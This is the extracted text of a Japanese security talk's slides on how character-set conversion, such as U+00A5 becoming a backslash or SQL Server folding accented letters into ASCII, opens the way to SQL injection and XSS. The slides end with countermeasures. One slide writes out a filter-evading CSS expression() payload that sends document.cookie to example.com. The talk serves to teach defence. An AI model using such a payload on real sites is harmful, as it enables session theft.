UnicodeによるXSSとSQLインジェクションの可能性

1.8K Views

September 17, 09

スライド概要

SQL Server使用時の文字コード変換の注意など

profile-image

徳丸本の中の人 OWASP Japanアドバイザリーボード EGセキュアソリューションズ取締役CTO IPA非常勤職員 YouTubeチャンネル: 徳丸浩のウェブセキュリティ講座 https://j.mp/web-sec-study

シェア

埋め込む »CMSなどでJSが使えない場合

関連スライド

各ページのテキスト
1.

UnicodeによるXSSと SQLインジェクションの可能性 HASHサルティング株式会社 徳丸 浩 1

2.

自己紹介 2

3.

今日は漢字の人です 3

4.

横浜で ちっちゃな会社 やってます 4

5.

Webアプリが専門です が、色々やります 5

6.

WAFについて書いた りしています 6

7.

それでは始めます 7

8.

本日のテーマは 8

9.

文字コード 9

10.

文字コードって何? 10

11.

文字コード= 文字集合 + 文字エンコーディング 11

12.

文字エンコーディングネタは結構ある ⚫ 冗長なUTF-8エンコーディング ⚫ ⚫ ⚫ ⚫ パストラバーサルなど 半端な先行バイトによるXSS UTF-7によるXSS Shift_JISの5C問題 しかし 12

13.

本日のテーマは 13

14.

文字集合 14

15.

文字集合って何? 文字通り,文字の集まり 15 もじもじ

16.

この辺があやしい 16

17.

特にやばそうなところ 0x5C US-ASCII JIS X 0201 ISO-8859-1 Unicode ¥ 0xA5 % (*1) ・ (*2) ¥ ¥ (*1) US-ASCIIは7ビットのコードなので,最上位ビットを無視する 結果,0x25すなわち「%」として扱われる (*2) 中黒(なかぐろ) 17

18.

文字集合を変換すると? 18

19.

多対一の変換が起こるかどうかは実装依存 ⚫ ASP.NET ⚫ ⚫ 「\」 U+00A5 → ? PHP ⚫ ⚫ 10万超の文字を 変換して確認す るだけの簡単な お仕事です Perl ⚫ ⚫ 「\」U+00A5 → ? 「\」U+00A5 → ¥ (全角) Java ⚫ 「\」U+00A5 → (0x5C) 注目 19

20.

U+00A5によるSQLインジェクション(MySQL+JDBC) エスケープ(' → ' ') Unicode → EUC-JP 20

21.

U+00A5によるSQLインジェクション(MySQL+JDBC) 21

22.

XSSはどうか? 22

23.

U+00A5 → 0x5C の変換による XSSはあり得る 23

24.

が,JavaScriptを動的生成する場 合などに限られる 24

25.

現実的に発生し得るが 25

26.

そもそも JavaScriptの動的生成って どうよorz 26

27.

他にないのか? 27

28.

SQL Serverの例 ⚫ ⚫ SQL ServerがUnicodeで列の値を保存するための 条件 ⚫ 列の型をnchar,nvarcharにする(char,varcharはだめ) ⚫ 文字列リテラルを N'....' と記述する('....' ではだめ) 上記を怠ると,Unicode→CP932への変換が起こる 28

29.

CP932と断定していいのか? 29

30.

非Unicodeへの変換が起こって いることは確かだがCP932と 断定できないorz 30

31.

SQL Serverの例 ⚫ ⚫ SQL ServerがUnicodeで列の値を保存するための 条件 ⚫ 列の型をnchar,nvarcharにする(char,varcharはだめ) ⚫ 文字列リテラルを N'....' と記述する('....' ではだめ) 上記を怠ると,Unicode→CP932への変換が起こる っぽい ⚫ 変換の例 ⚫ ⚫ ⚫ ⚫ è→e é→e ê→e ë→e 31

32.

これをどう活用するか 32

33.

か,活用かよorz 33

34.

悪影響の例:CSSのXSS対策 34

35.

ブラックリスト 35

36.

XSS対策が回避されるパターン ⚫ ⚫ 元の入力 .main { color: èxp®éßßïòñ(document.location= ”http://example.com?”+document.cookie); } XSS対策ルーチンを通るが ⚫ ⚫ ⚫ ⚫ èxp®éßßïòñはフィルタを回避される SQL ServerにInsert。その際に文字コード変換 .main { color: expRession(document.location= ”http://example.com?”+document.cookie); } CSSを使って表示すると,JavaScriptが実行され Cookie値が漏洩する はてなはEUC-JPだから大丈夫? (SQL Serverでもない) 36

37.

対策 ⚫ ⚫ 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある ⚫ ⚫ wassr.jpのように,PC向けはUnicode, 携帯電話向けはShift_JISの対応が必要な サイトなど その場合は… 37

38.

対策 ⚫ ⚫ 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある ⚫ ⚫ ⚫ wassr.jpのように,PC向けはUnicode, 携帯電話向けはShift_JISの対応が必要な サイトなど その場合は… 続きはWebで ⚫ ITpro Security で 38

39.

第5回~第6回の5回で文字コード説明します 39

40.

ご清聴ありがとうございました 40